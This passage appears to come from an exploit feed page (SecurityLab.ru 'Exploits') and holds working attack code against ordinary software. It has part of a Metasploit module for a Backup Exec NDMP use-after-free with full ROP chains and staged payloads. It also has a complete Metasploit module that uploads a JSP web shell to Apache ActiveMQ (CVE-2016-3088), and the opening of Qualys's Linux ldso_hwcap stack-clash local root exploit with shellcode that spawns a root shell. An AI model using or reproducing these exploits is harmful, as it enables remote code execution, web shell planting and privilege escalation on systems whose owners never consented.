mode on main socket...') require_empty_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id) # Attempt to overwrite the BIO struct with stage 1 and trigger the UAF attempt_triggers(s, spray_socks, spray_msg) else # Attempt to overwrite the BIO struct with stage 1 and trigger the UAF in a race attempt_race(s, spray_socks, spray_msg, ca_cert_id) end handler end private SSL_HANDSHAKE_REQUEST = 0xf383 class SSLRequest < XDR::Struct class Opcode < XDR::Enum member :test_cert, 1 member :get_csr_req, 2 member :give_signed_cert, 3 member :start_ssl, 4 seal end attribute :opcode, Opcode attribute :media_server_name, XDR::String[] attribute :media_server_fqdn, XDR::String[] attribute :media_server_addr, XDR::String[] attribute :cert_id_1, XDR::Int attribute :cert_id_2, XDR::Int attribute :unknown1, XDR::Int attribute :unknown2, XDR::Int attribute :unknown3, XDR::Int attribute :ca_cert, XDR::String[] attribute :unknown4, XDR::Int attribute :agent_cert, XDR::String[] def self.new_for_opcode(opcode) new( :opcode => opcode, :media_server_name => 'foo', :media_server_fqdn => 'foo', :media_server_addr => 'foo', :cert_id_1 => 0, :cert_id_2 => 0, :unknown1 => 0, :unknown2 => 0, :unknown3 => 0, :ca_cert => '', :unknown4 => 0, :agent_cert => '' ) end end class SSLResponse < XDR::Struct attribute :unknown1, XDR::Int attribute :unknown2, XDR::String[] attribute :unknown3, XDR::Int attribute :unknown4, XDR::String[] def empty? (attributes[:unknown1].zero? && attributes[:unknown2].empty? && attributes[:unknown3].zero? && attributes[:unknown4].empty?) end end class ServiceInfoResponse < XDR::Struct attribute :error, XDR::Int attribute :vendor_name, XDR::String[] attribute :product_name, XDR::String[] attribute :revision_number, XDR::String[] attribute :auth_types, XDR::VarArray[XDR::Int] end class HostInfoResponse < XDR::Struct attribute :error, XDR::Int attribute :hostname, XDR::String[] attribute :os_type, XDR::String[] attribute :os_version, XDR::String[] attribute :host_id, XDR::String[] attribute :unknown, XDR::VarArray[XDR::Int] end # # Perform NDMP connection handshake on a NDMP socket. Can be split into 3 stages. # def connect_ndmp(s, version, phase=nil) if phase.nil? || phase == 1 return false unless s.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED) end if phase.nil? || phase == 2 return false unless s.prepare_and_write_ndmp_msg( NDMP::Message.new_request(NDMP::Message::CONNECT_OPEN, XDR::Int.to_xdr(version)) ) end if phase.nil? || phase == 3 msg = s.read_ndmp_msg(NDMP::Message::CONNECT_OPEN) return false unless msg fail_with(Failure::UnexpectedReply, 'Bad connect result') unless XDR::Int.from_xdr(msg.body).zero? end true end # # Connect multiple NDMP sockets of a given version. Parallelizes over connection phases. # def connect_additional_sockets(num_socks, version) socks = (0...num_socks).map do NDMP::Socket.new(connect(false)) end (1..3).each do |phase| socks.each do |ss| unless connect_ndmp(ss, version, phase) fail_with(Failure::UnexpectedReply, "Couldn't connect NDMP socket (phase #{phase})") end end end socks end # # Send a Backup Exec-specific SSL NDMP request and receive the response. # def do_simple_ssl_request(s, opcode, ca_cert_id, phase=nil) if phase.nil? || phase == 1 req = SSLRequest.new_for_opcode(opcode) req.cert_id_1 = req.cert_id_2 = ca_cert_id msg = NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr) if block_given? last = s.prepare_and_write_ndmp_msg(msg, true) return nil unless last sleep(1) yield true s.raw_sendall(last, 0) yield false else return nil unless s.prepare_and_write_ndmp_msg(msg) end end if phase.nil? || phase == 2 msg = s.read_ndmp_msg(SSL_HANDSHAKE_REQUEST) return msg ? SSLResponse.from_xdr(msg.body) : nil end nil end # # Send a Backup Exec SSL NDMP request and receive the response, requiring the response # to be empty. # def require_empty_ssl_request(s, opcode, ca_cert_id, phase=nil) resp = do_simple_ssl_request(s, opcode, ca_cert_id, phase) if phase.nil? || phase == 2 fail_with(Failure::UnexpectedReply, "Failed to perform SSL request/response (opcode #{opcode})") unless resp fail_with(Failure::UnexpectedReply, "Non-empty SSL response (opcode #{opcode}) result") unless resp.empty? end end # # Get the ID Backup Exec uses to identify a x509 certificate. This is the first 4 bytes # of the SHA-1 of the issuer and the raw serial number. # def get_cert_id(cert) Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack('L<')[0] end # # Create a self-signed CA certificate and matching key. # def generate_ca_cert_and_key(key_len=2048) ca_key = OpenSSL::PKey::RSA.new(key_len) ca_cert = OpenSSL::X509::Certificate.new ca_cert.version = 3 ca_cert.serial = 1 ca_cert.subject = ca_cert.issuer = OpenSSL::X509::Name.parse('/CN=SSL UAF') ca_cert.not_before = Time.now - 60 * 60 * 24 ca_cert.not_after = Time.now + 60 * 60 * 24 * 365 ca_cert.public_key = ca_key.public_key extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, ca_cert) ca_cert.extensions = [ extn_factory.create_extension('subjectKeyIdentifier', 'hash'), extn_factory.create_extension('basicConstraints', 'critical,CA:true') ] # Have to do this after creating subjectKeyIdentifier extension ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer')) ca_cert.sign(ca_key, OpenSSL::Digest::SHA256.new) [ca_cert, ca_key] end # # Get and handle a certificate signing request from Backup Exec with the given CA # certificate and key. # def handle_a_csr(s, ca_cert, ca_key) resp = do_simple_ssl_request(s, SSLRequest::Opcode.get_csr_req, 0) return nil if resp.nil? request = OpenSSL::X509::Request.new(resp.unknown2) agent_cert = OpenSSL::X509::Certificate.new agent_cert.version = 3 agent_cert.serial = 2 agent_cert.subject = request.subject agent_cert.issuer = ca_cert.subject agent_cert.not_before = Time.now - 60 * 60 * 24 agent_cert.not_after = Time.now + 60 * 60 * 24 * 365 agent_cert.public_key = request.public_key extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, agent_cert) agent_cert.extensions = [ extn_factory.create_extension('subjectKeyIdentifier', 'hash'), extn_factory.create_extension('basicConstraints', 'critical,CA:false') ] # Have to do this after creating subjectKeyIdentifier extension agent_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer')) agent_cert.sign(ca_key, OpenSSL::Digest::SHA256.new) req = SSLRequest.new_for_opcode(SSLRequest::Opcode.give_signed_cert) req.ca_cert = ca_cert.to_s req.agent_cert = agent_cert.to_s return nil unless s.do_request_response(NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr)) agent_cert end # # Generate a TLS handshake record with the given payload. # def generate_tls_handshake_record(payload, required_fifth_byte=nil) fail_with(Failure::Unknown, 'No payload') if payload.empty? # Stage 1 for the x86 version 14 target jumps into the TLS header itself (at offset # 0x4) instead of in non-header data; here it's necessary to control the 5th byte of # the header, which is the second byte of the length word unless required_fifth_byte.nil? payload << rand_text((required_fifth_byte.ord - (payload.length & 0xff)) % 0x100) end "\x16\x03\x01" + [payload.length].pack('n') + payload end # # Generate a TLS ClientHello record with the given Random and extensions (ie. for # holding stages 2-4). # def generate_tls_clienthello(curves_extn_payload, ec_formats_extn_payload, random) if ec_formats_extn_payload.empty? && curves_extn_payload.empty? fail_with(Failure::Unknown, 'No TLS extension payloads given') end if ec_formats_extn_payload.length > 0xff fail_with(Failure::Unknown, 'Bad EC formats extension length') end if curves_extn_payload.length.odd? || curves_extn_payload.length > 0xffff fail_with(Failure::Unknown, 'Bad curves extension length') end if random.length != 0x20 fail_with(Failure::Unknown, 'Bad random length') end extns = '' unless curves_extn_payload.empty? extns << [ 10, curves_extn_payload.length + 2, curves_extn_payload.length ].pack('n*') + curves_extn_payload end unless ec_formats_extn_payload.empty? extns << [ 11, ec_formats_extn_payload.length + 1, ec_formats_extn_payload.length ].pack('nnC') + ec_formats_extn_payload end r = "\x03\x03" + random + "\x00\x00\x02\x00\x2f\x01\x00" r << [extns.length].pack('n') + extns r = "\x01" + [r.length].pack('N')[1...4] + r generate_tls_handshake_record(r) end # # Generate a TLS ClientHello record in a SSLv2 record with a given payload. # def generate_tls_in_sslv2_clienthello(payload) fail_with(Failure::Unknown, 'No payload') if payload.empty? fail_with(Failure::Unknown, 'Bad first byte') unless payload[0].ord >= 1 r = "\x01\x03" + payload [r.length | 0x8000].pack('n') + r end # # Spray a bunch of TLS extensions from the given NDMP sockets. Used for heap feng shui. # def spray_tls_extensions(tls_spray_socks, ca_cert_id) payload_len = target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40 spray = generate_tls_clienthello(rand_text(payload_len), rand_text(payload_len), rand_text(0x20)) print_status('Spraying TLS extensions...') (1..2).each do |phase| tls_spray_socks.each do |ts| require_empty_ssl_request(ts, SSLRequest::Opcode.test_cert, ca_cert_id, phase) require_empty_ssl_request(ts, SSLRequest::Opcode.start_ssl, ca_cert_id, phase) if phase == 2 ts.raw_sendall(spray, 0) sleep(0.1) end end end sleep(1) end # # Generate stage 1. # # This stage is what overwrites the freed BIO struct. It consists of a non-zero readable # location (to prevent Backup Exec from falling over or failing) and a stack pivot to # some offset from the current SSL socket buffer read location, which will hold a # TLS/SSLv2 record (from the previous SSL connection) holding stages 2-4. The pivot # offset will be different at each UAF trigger attempt; see attempt_triggers). # def generate_stage_1 if target.opts['Arch'] == ARCH_X64 stage_1 = [ # +0x18 from here is a non-zero, readable location. This is the load address of # becrypto.dll (which is non-ASLR) 0xbe00000, # On x64, we pivot into the current SSL socket buffer read location + 0x18 # lea rsp, qword ptr [rbp + 0x10]; pop rbp; ret [0xbe5ecf2, 0xbe23261, 0xbe2329b][target.opts['Version'] - 14] ].pack('Q<*') else stage_1 = [ # +0x18 from here is a non-zero, readable location. This is the load address of # becrypto.dll (which is non-ASLR) 0x63100000, # On x86, we pivot into the current SSL socket buffer read location + 0x4 # mov esp, ebp; pop ebp; ret target.opts['Version'] == 14 ? 0x631017fd : 0x6310184d ].pack('L<*') end stage_1 + rand_text((target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40) - stage_1.length) end # # Generate stages 2 to 4. # # Stage 2 is a ROP chain that copies stages 3 and 4 from the heap (that stage 1 pivoted # to) onto the stack, bypassing Windows 8+'s check before certain functions (like # VirtualProtect) that we have called them from within expected stack memory instead of # the heap. # # Stage 3 is a ROP chain that calls VirtualProtect to mark stages 3 and 4 as executable # (but we only really need stage 4 executable anyway). # # Stage 4 is the user-selected Metasploit payload code. # def generate_stages_2_to_4 stage_4 = payload.encoded if target.opts['Arch'] == ARCH_X64 if target.opts['Version'] == 14 stage_3 = [ 0, # skipped by stage 2 0xbe31359, # push rax; pop rsi; ret 0xbe01f72, # pop rax; ret 0, 0xbe3d250, # add rax, rcx; ret 0xbe1c2f9, # pop r12; ret 0xbe2ab32, # pop r8; ret 0xbe2987c, # mov rcx, rax; call r12 0xbe46d9e, # jmp qword ptr [KERNEL32!LoadLibraryW] 0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret 0, 0, 0, 0, 0xbe37f75, # push rax; pop rdi; ret 0xbe43b25, # mov rcx, rsi; call r12 0xbe01f72, # pop rax; ret 0, 0xbe3d250, # add rax, rcx; ret 0xbe6949a, # push rax; pop r12; ret 0xbe4f7ec, # pop r14; pop r13; ret 0xbe2ab32, # pop r8; ret 0, 0xbe2f917, # mov rdx, r12; mov ecx, 4; call r14 0xbe01f72, # pop rax; ret 0xbe2ab32, # pop r8; ret 0xbe36e8e, # mov rcx, rdi; call rax 0xbe01a29, # ret 0xbe46d32, # jmp qword ptr [KERNEL32!GetProcAddressStub] 0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret 0, 0, 0, 0, 0xbe37f75, # push rax; pop rdi; ret 0xbe1c2f9, # pop r12; ret 0xbe2ab32, # pop r8; ret 0xbe43b25, # mov rcx, rsi; call r12 0xbe399d0, # pop r13; ret 1 << 31, 0xbe33c3e, # mov rdx, r13; call r12 0xbe6b790, # mov r9, rcx; test edx, edx; jns 0xbe6b7a3; xor eax, eax; ret 0xbe399d0, # pop r13; ret 0, 0xbe33c3e, # mov rdx, r13; call r12 0xbe2ab32, # pop r8; ret 0x40, # PAGE_EXECUTE_READWRITE 0xbe01a29, # ret 0xbe5180b, # jmp rdi 0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret 0, 0, 0, 0, 0xbe63938 # push rsp; ret ] stage_3[3] = stage_3[43] = stage_3.length * 8 + stage_4.length kernel32_dll = "KERNEL32.dll\0".encode('UTF-16LE').force_encoding('ASCII-8BIT') stage_3[17] = stage_3[3] + kernel32_dll.length stage_3 = stage_3.pack('Q<*') + stage_4 + kernel32_dll + "VirtualProtect\0" elsif target.opts['Version'] == 15 stage_3 = [ 0xbe68a34, # push rax; pop rbx; ret 0xbe087c8, # pop rax; ret 0, 0xbe60dc0, # add rax, rcx; ret 0xbe9b627, # mov rcx, rax; call r12 0xbe4929d, # ret 0xbeb488e, # jmp qword ptr [KERNEL32!LoadLibraryAStub] 0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret 0, 0, 0, 0, 0xbe34c0c, # push rax; pop rbp; ret 0xbefc534, # mov rcx, rbx; call r12 0xbe087c8, # pop rax; ret 0, 0xbe60dc0, # add rax, rcx; ret 0xbe9b627, # mov rcx, rax; call r12 0xbefc526, # mov rdx, rcx; call r12 0xbe9ad68, # mov rcx, rbp; call r12 0xbeb4828, # jmp qword ptr [KERNEL32!GetProcAddressStub] 0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret 0, 0, 0, 0, 0xbe43269, # push rax; pop rsi; ret 0xbefc534, # mov rcx, rbx; call r12 0xbebd50e, # pop r13; ret 0, 0xbe97c4e, # mov rdx, r13; call r12 0xbeae99d, # pop r8; ret 0x40, # PAGE_EXECUTE_READWRITE 0xbe3c9c0, # test rdx, rdx; setne al; ret 0xbe68603, # mov r9, rcx; je 0xbe68612; xor eax, eax; ret 0xbe4929d, # ret 0xbe9436d, # jmp rsi 0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret 0, 0, 0, 0, 0xbe2184d, # pop rdi; ret 0xbebd50e, # pop r13; ret 0xbe9a8ac # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi ] stage_3[2] = stage_3[29] = stage_3.length * 8 + stage_4.length stage_3[15] = stage_3[2] + "KERNEL32.dll\0".length stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0" elsif target.opts['Version'] == 16 stage_3 = [ 0xbe4e888, # push rax; pop rbx; ret 0xbe01f72, # pop rax; ret 0, 0xbe610f0, # add rax, rcx; ret 0xbe9c70c, # mov rcx, rax; call r12 0xbe01c2c, # ret 0xbeb5d8e, # jmp qword ptr [KERNEL32!LoadLibraryAStub] 0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret 0, 0, 0, 0, 0xbe12ed0, # pop rdi; ret 0xbe45a01, # pop r13; ret 0xbeaedb0, # mov rbp, rax; call rdi 0xbe5851a, # mov rcx, rbx; call r12 0xbe01f72, # pop rax; ret 0, 0xbe610f0, # add rax, rcx; ret 0xbe9c70c, # mov rcx, rax; call r12 0xbefe516, # mov rdx, rcx; call r12 0xbe9bf28, # mov rcx, rbp; call r12 0xbeb5d28, # jmp qword ptr [KERNEL32!GetProcAddressStub] 0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret 0, 0, 0, 0, 0xbe433b9, # push rax; pop rsi; ret 0xbe5851a, # mov rcx, rbx; call r12 0xbe45a01, # pop r13; ret 0, 0xbe2e55e, # mov rdx, r13; call r12 0xbe27c76, # pop r8; ret 0x40, # PAGE_EXECUTE_READWRITE 0xbe3caf0, # test rdx, rdx; setne al; ret 0xbe68c73, # mov r9, rcx; je 0xbe68c82; xor eax, eax; ret 0xbe01c2c, # ret 0xbe56cad, # jmp rsi 0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret 0, 0, 0, 0, 0xbe12ed0, # pop rdi; ret 0xbe45a01, # pop r13; ret 0xbe9ba6c # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi ] stage_3[2] = stage_3[31] = stage_3.length * 8 + stage_4.length stage_3[17] = stage_3[2] + "KERNEL32.dll\0".length stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0" end else if target.opts['Version'] == 14 stage_3 = [ 0x63117dfa, # pop edi; ret 0x63101514, # ret 0x63116cc9, # pop esi; ret 0x6313ba14, # jmp dword ptr [KERNEL32!LoadLibraryAStub] 0x631017ff, # pop ebp; ret 0x631213e6, # add esp, 0x20; ret 0x63137a3c, # pushal; ret 'KERN'.unpack('
Categories: Exploits

ActiveMQ &lt; 5.14.0 - web shell upload (Metasploit)

SecurityLab.ru - Fri, 2017-06-30 00:38
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'ActiveMQ web shell upload', 'Description' => %q( The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0 allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request. ), 'Author' => [ 'Ian Anderson ', 'Hillary Benson <1n7r1gu3[at]gmail.com>' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2016-3088' ], [ 'URL', 'http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt' ] ], 'Privileged' => true, 'Platform' => %w{ java linux win }, 'Targets' => [ [ 'Java Universal', { 'Platform' => 'java', 'Arch' => ARCH_JAVA } ], [ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 } ], [ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ] ], 'DisclosureDate' => "Jun 01 2016", 'DefaultTarget' => 0)) register_options( [ OptString.new('BasicAuthUser', [ true, 'The username to authenticate as', 'admin' ]), OptString.new('BasicAuthPass', [ true, 'The password for the specified username', 'admin' ]), OptString.new('JSP', [ false, 'JSP name to use, excluding the .jsp extension (default: random)', nil ]), OptString.new('AutoCleanup', [ false, 'Remove web shells after callback is received', 'true' ]), Opt::RPORT(8161) ]) register_advanced_options( [ OptString.new('UploadPath', [false, 'Custom directory into which web shells are uploaded', nil]) ]) end def jsp_text(payload_name) %{ <%@ page import="java.io.*" %><%@ page import="java.net.*" %><% URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("./#{payload_name}.jar")).toURI().toURL()}); Class c = cl.loadClass("metasploit.Payload"); c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]}); %>} end def exploit jar_payload = payload.encoded_jar.pack payload_name = datastore['JSP'] || rand_text_alpha(8 + rand(8)) host = "#{datastore['RHOST']}:#{datastore['RPORT']}" @url = datastore['SSL'] ? "https://#{host}" : "http://#{host}" paths = get_upload_paths paths.each do |path| if try_upload(path, jar_payload, payload_name) break handler if trigger_payload(payload_name) print_error('Unable to trigger payload') end end end def try_upload(path, jar_payload, payload_name) ['.jar', '.jsp'].each do |ext| file_name = payload_name + ext data = ext == '.jsp' ? jsp_text(payload_name) : jar_payload move_headers = { 'Destination' => "#{@url}#{path}#{file_name}" } upload_uri = normalize_uri('fileserver', file_name) print_status("Uploading #{move_headers['Destination']}") register_files_for_cleanup "#{path}#{file_name}" if datastore['AutoCleanup'].casecmp('true') return error_out unless send_request('PUT', upload_uri, 204, 'data' => data) && send_request('MOVE', upload_uri, 204, 'headers' => move_headers) @trigger_resource = /webapps(.*)/.match(path)[1] end true end def get_upload_paths base_path = "#{get_install_path}/webapps" custom_path = datastore['UploadPath'] return [normalize_uri(base_path, custom_path)] unless custom_path.nil? [ "#{base_path}/api/", "#{base_path}/admin/" ] end def get_install_path properties_page = send_request('GET', "#{@url}/admin/test/systemProperties.jsp").body match = properties_page.tr("\n", '@').match(/activemq\.home<\/td>@\s*([^@]+)<\/td>/) return match[1] unless match.nil? end def send_request(method, uri, expected_response = 200, opts = {}) opts['headers'] ||= {} opts['headers']['Authorization'] = basic_auth(datastore['BasicAuthUser'], datastore['BasicAuthPass']) opts['headers']['Connection'] = 'close' r = send_request_cgi( { 'method' => method, 'uri' => uri }.merge(opts) ) return false if r.nil? || expected_response != r.code.to_i r end def trigger_payload(payload_name) send_request('POST', @url + @trigger_resource + payload_name + '.jsp') end def error_out print_error('Upload failed') @trigger_resource = nil false end end
Categories: Exploits

Linux - 'ldso_hwcap' Local Root Stack Clash Exploit

SecurityLab.ru - Thu, 2017-06-29 00:01
/* * Linux_ldso_hwcap.c for CVE-2017-1000366, CVE-2017-1000370 * Copyright (C) 2017 Qualys, Inc. * * my_important_hwcaps() adapted from elf/dl-hwcaps.c, * part of the GNU C Library: * Copyright (C) 2012-2017 Free Software Foundation, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ /** cat > la.c << "EOF" static void __attribute__ ((constructor)) _init (void) { __asm__ __volatile__ ( "addl $64, %esp;" // setuid(0); "movl $23, %eax;" "movl $0, %ebx;" "int $0x80;" // setgid(0); "movl $46, %eax;" "movl $0, %ebx;" "int $0x80;" // dup2(0, 1); "movl $63, %eax;" "movl $0, %ebx;" "movl $1, %ecx;" "int $0x80;" // dup2(0, 2); "movl $63, %eax;" "movl $0, %ebx;" "movl $2, %ecx;" "int $0x80;" // execve("/bin/sh"); "movl $11, %eax;" "pushl $0x0068732f;" "pushl $0x6e69622f;" "movl %esp, %ebx;" "movl $0, %edx;" "pushl %edx;" "pushl %ebx;" "movl %esp, %ecx;" "int $0x80;" // exit(0); "movl $1, %eax;" "movl $0, %ebx;" "int $0x80;" ); } EOF gcc -fpic -shared -nostdlib -Os -s -o la.so la.c xxd -i la.so > la.so.h **/ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define PAGESZ ((size_t)4096) #define STACK_ALIGN ((size_t)16) #define MALLOC_ALIGN ((size_t)8) #define MMAP_BASE ((uintptr_t)0x40000000) #define MMAP_RAND ((size_t)1<<20) #define STACK_BASE ((uintptr_t)0xC0000000) #define STACK_RAND ((size_t)8<<20) #define MAX_ARG_STRLEN ((size_t)128<<10) #define MAX_ARG_STRINGS ((size_t)0x7FFFFFFF) static const struct target * target; static const struct target { const char * name; size_t memalign_up; size_t nsystem_dirs_len; size_t sizeof_system_dirs; const char * repl_lib; int ignore_lib; int ignore_origin; } targets[] = { { .name = "Debian 7 (wheezy)", .memalign_up = PAGESZ, .nsystem_dirs_len = 4, .sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"), .repl_lib = "lib/i386-linux-gnu", .ignore_lib = 0, .ignore_origin = 0, }, { .name = "Debian 8 (jessie)", .memalign_up = PAGESZ, .nsystem_dirs_len = 4, .sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"), .repl_lib = "lib/i386-linux-gnu", .ignore_lib = 0, .ignore_origin = 0, }, { .name = "Debian 9 (stretch)", .memalign_up = 2 * PAGESZ, .nsystem_dirs_len = 4, .sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"), .repl_lib = "lib/i386-linux-gnu", .ignore_lib = 0, .ignore_origin = 0, }, { .name = "Debian 10 (buster)", .memalign_up = 2 * PAGESZ, .nsystem_dirs_len = 4, .sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"), .repl_lib = "lib/i386-linux-gnu", .ignore_lib = 0, .ignore_origin = 0, }, { .name = "Fedora 23 (Server Edition)", .memalign_up = PAGESZ, .nsystem_dirs_len = 2, .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"), .repl_lib = "lib", .ignore_lib = 0, .ignore_origin = 0, }, { .name = "Fedora 24 (Server Edition)", .memalign_up = PAGESZ, .nsystem_dirs_len = 2, .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"), .repl_lib = "lib", .ignore_lib = 0, .ignore_origin = 0, }, { .name = "Fedora 25 (Server Edition)", .memalign_up = 2 * PAGESZ, .nsystem_dirs_len = 2, .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"), .repl_lib = "lib", .ignore_lib = 0, .ignore_origin = 0, }, { .name = "CentOS 5.3 (Final)", .memalign_up = PAGESZ, .nsystem_dirs_len = 2, .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"), .repl_lib = "lib", .ignore_lib = 1, .ignore_origin = 0, }, { .name = "CentOS 5.11 (Final)", .memalign_up = PAGESZ, .nsystem_dirs_len = 2, .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"), .repl_lib = "lib", .ignore_lib = 0, .ignore_origin = 1, }, { .name = "CentOS 6.0 (Final)", .memalign_up = PAGESZ, .nsystem_dirs_len = 2, .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"), .repl_lib = "lib", .ignore_lib = 0, .ignore_origin = 0, }, { .name = "CentOS 6.8 (Final)", .memalign_up = PAGESZ, .nsystem_dirs_len = 2, .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"), .repl_lib = "lib", .ignore_lib = 0, .ignore_origin = 1, }, { .name = "CentOS 7.2.1511 (AltArch)", .memalign_up = PAGESZ, .nsystem_dirs_len = 2, .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"), .repl_lib = "lib", .ignore_lib = 0, .ignore_origin = 0, }, }; #define die() do { \ printf("died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) static const ElfW(auxv_t) * my_auxv; static unsigned long int my_getauxval (const unsigned long int type) { const ElfW(auxv_t) * p; if (!my_auxv) die(); for (p = my_auxv; p->a_type != AT_NULL; p++) if (p->a_type == type) return p->a_un.a_val; die(); } static size_t get_elf_mmaps(const char * const binary) { if (!binary) die(); if (*binary != '/') die(); struct stat st; if (stat(binary, &st)) die(); if (!S_ISREG(st.st_mode)) die(); if (st.st_size <= 0) die(); #define SAFESZ ((size_t)64<<20) if (st.st_size >= (ssize_t)SAFESZ) die(); const size_t size = st.st_size; printf("%s %zu mmaps ", binary, size); const int fd = open(binary, O_RDONLY); if (fd <= -1) { const size_t mmaps = (size + PAGESZ-1) & ~(PAGESZ-1); printf("%zu (unreadable)\n", mmaps); return mmaps; } uint8_t * const buf = malloc(size); if (!buf) die(); if (read(fd, buf, size) != (ssize_t)size) die(); if (close(fd)) die(); if (size <= sizeof(ElfW(Ehdr))) die(); const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf; if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die(); if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die(); if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die(); if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die(); if (ehdr->e_ident[EI_CLASS] != ELFCLASS32) die(); if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die(); if (ehdr->e_machine != EM_386) die(); if (ehdr->e_version != EV_CURRENT) die(); if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die(); if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die(); if (ehdr->e_shentsize != sizeof(ElfW(Shdr))) die(); if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die(); if (ehdr->e_shoff <= 0 || ehdr->e_shoff >= size) die(); if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die(); if (ehdr->e_shnum > (size - ehdr->e_shoff) / sizeof(ElfW(Shdr))) die(); if (ehdr->e_type != ET_DYN) { if (ehdr->e_type != ET_EXEC) die(); const size_t mmaps = 0; printf("%zu (executable)\n", mmaps); free(buf); return mmaps; } uintptr_t first_map_start = UINTPTR_MAX; uintptr_t last_map_end = 0; unsigned int i; for (i = 0; i < ehdr->e_phnum; i++) { const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i; if (phdr->p_type != PT_LOAD) continue; if (phdr->p_offset >= size) die(); if (phdr->p_filesz > size - phdr->p_offset) die(); if (phdr->p_filesz > phdr->p_memsz) die(); if (phdr->p_vaddr >= STACK_BASE) die(); if (phdr->p_memsz <= 0) die(); if (phdr->p_memsz >= SAFESZ) die(); #undef SAFESZ if (phdr->p_align != PAGESZ) die(); const uintptr_t map_start = phdr->p_vaddr & ~(PAGESZ-1); if (map_start >= UINTPTR_MAX) die(); if (map_start < last_map_end) die(); const uintptr_t map_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1); if (map_end <= map_start) die(); if (map_end <= 0) die(); if (first_map_start >= UINTPTR_MAX) { first_map_start = map_start; } last_map_end = map_end; switch (phdr->p_flags) { case PF_R | PF_X: break; case PF_R | PF_W: if (map_start <= first_map_start) die(); break; default: die(); } } if (first_map_start >= UINTPTR_MAX) die(); if (last_map_end <= 0) die(); if (last_map_end <= first_map_start) die(); const size_t mmaps = last_map_end - first_map_start; printf("%zu (%sshared object)\n", mmaps, first_map_start ? "prelinked " : ""); free(buf); return mmaps; } static const char my_x86_cap_flags[32][8] = { "fpu", "vme", "de", "pse", "tsc", "msr", "pae", "mce", "cx8", "apic", "10", "sep", "mtrr", "pge", "mca", "cmov", "pat", "pse36", "pn", "clflush", "20", "dts", "acpi", "mmx", "fxsr", "sse", "sse2", "ss", "ht", "tm", 